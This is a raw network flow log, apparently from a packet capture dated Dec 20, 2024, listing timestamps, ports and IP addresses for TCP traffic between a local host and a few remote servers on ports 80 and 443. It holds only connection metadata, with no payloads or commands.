Dec 20, 2024 02:11:30.098619938 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.098623991 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.098649979 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.098856926 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.098898888 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.099041939 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.100091934 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.100102901 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.100146055 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.100286961 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.100493908 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.100544930 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.101208925 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.101219893 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.101268053 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.101898909 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.101908922 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.101954937 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.101967096 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.102586985 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.102597952 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.102668047 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.102684975 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.103135109 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.103182077 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.103287935 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.103332996 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.103843927 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.103883982 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.104034901 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.104073048 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.104373932 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.104408979 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.104577065 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.104617119 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.105304003 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.105314016 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.105346918 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.105370045 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.105957031 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.106123924 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.106164932 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.106650114 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.106703043 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.106834888 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.106889009 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.107357979 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.107376099 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.107403994 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.107419014 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.108023882 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.108047009 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.108088017 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.108118057 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.108129025 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.108139038 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.108150005 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.108159065 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.108182907 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.108197927 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.108431101 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.108578920 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.108622074 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.109127045 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.109169006 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.109235048 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.109280109 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.109812021 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.111327887 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.237704992 CET	49891	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:30.237787962 CET	443	49891	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:30.237875938 CET	49891	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:30.238111019 CET	49891	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:30.238143921 CET	443	49891	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:30.267226934 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.267287016 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.267446995 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.267467022 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.267493963 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.267512083 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.267682076 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.268178940 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.268234015 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.268316031 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.268418074 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.268837929 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.268985033 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.269042015 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.269697905 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.269788027 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.269803047 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.269849062 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.270359993 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.270404100 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.270509958 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.270560980 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.271166086 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.271220922 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.271246910 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.271294117 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.271833897 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.271883965 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.271991014 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.272042036 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.272406101 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.272515059 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.272532940 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.272583008 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.273108959 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.273130894 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.273179054 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.273405075 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.273416996 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.273461103 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.273739100 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.273793936 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.274105072 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.274152994 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.274256945 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.274326086 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.274585009 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.274640083 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.275557041 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.275568008 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.275621891 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.275754929 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.275764942 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.275804043 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.276308060 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.276319027 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.276360989 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.276468992 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.276513100 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.276829004 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.276926994 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.277488947 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.277499914 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.277546883 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.278175116 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.278186083 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.278227091 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.278537989 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.278584003 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.278589010 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.278639078 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.279295921 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.279340029 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.279675961 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.279717922 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.280215979 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.280225992 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.280267954 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.280822039 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.280833960 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.280879974 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.281358957 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.281369925 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.281408072 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.281935930 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.281987906 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.282489061 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.282571077 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.283045053 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.283056974 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.283107042 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.283107042 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.285018921 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.285077095 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.285154104 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.285197973 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.285631895 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.285684109 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.285716057 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.285777092 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.285804033 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.286232948 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.286245108 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.286310911 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.286310911 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.286828041 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.286839008 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.286854029 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.286865950 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.286880970 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.286921978 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.287554026 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.287592888 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.287597895 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.287633896 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.288741112 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.288750887 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.288798094 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.289576054 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.289587975 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.289633036 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.289959908 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.290009975 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.290056944 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.290107965 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.290138006 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.290195942 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.290301085 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.290355921 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.290688992 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.290699005 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.290750027 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.290774107 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.291003942 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.291055918 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.291130066 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.291344881 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.291814089 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.291841030 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.291862011 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.291877985 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.292391062 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.292437077 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.292603970 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.292650938 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.293097019 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.293159008 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.293215990 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.293262959 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.293848038 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.293900013 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.293956995 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.294002056 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.294478893 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.294529915 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.294636965 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.294748068 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.295156956 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.295202971 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.295362949 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.295413017 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.295855999 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.295907974 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.296036959 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.296089888 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.296621084 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.296668053 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.296731949 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.296781063 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.297394037 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.297405005 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.297447920 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.297991037 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.298039913 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.298080921 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.298129082 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.298803091 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.298815012 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.298854113 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.299361944 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.299411058 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.299500942 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.299541950 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.300074100 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.300123930 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.300167084 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.300209999 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.300756931 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.300813913 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.300822020 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.300868034 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.301490068 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.301537991 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.301558971 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.301604986 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.302158117 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.302211046 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.340884924 CET	49892	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:30.340965033 CET	443	49892	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:30.341049910 CET	49892	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:30.341413021 CET	49892	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:30.341448069 CET	443	49892	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:30.457851887 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.458053112 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.458061934 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.458139896 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.458169937 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.458916903 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.458928108 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.459079027 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.459407091 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.459461927 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.459513903 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.459562063 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.460112095 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.460163116 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.460237980 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.460287094 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.460828066 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.460894108 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.460942984 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.461498022 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.461548090 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.461611986 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.461661100 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.462224007 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.462271929 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.462313890 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.462364912 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.462896109 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.462944031 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.462991953 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.463038921 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.463617086 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.463666916 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.463800907 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.463851929 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.464282990 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.464330912 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.464385986 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.464432955 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.464993000 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.465042114 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.465167999 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.465215921 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.465714931 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.465727091 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.465766907 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.466378927 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.466430902 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.466459036 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.466514111 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.467062950 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.467109919 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.467202902 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.467252016 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.467879057 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.467890978 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.467926979 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.468491077 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.468540907 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.468660116 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.468709946 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.469223022 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.469271898 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.469276905 CET	80	49875	31.41.244.11	192.168.2.5
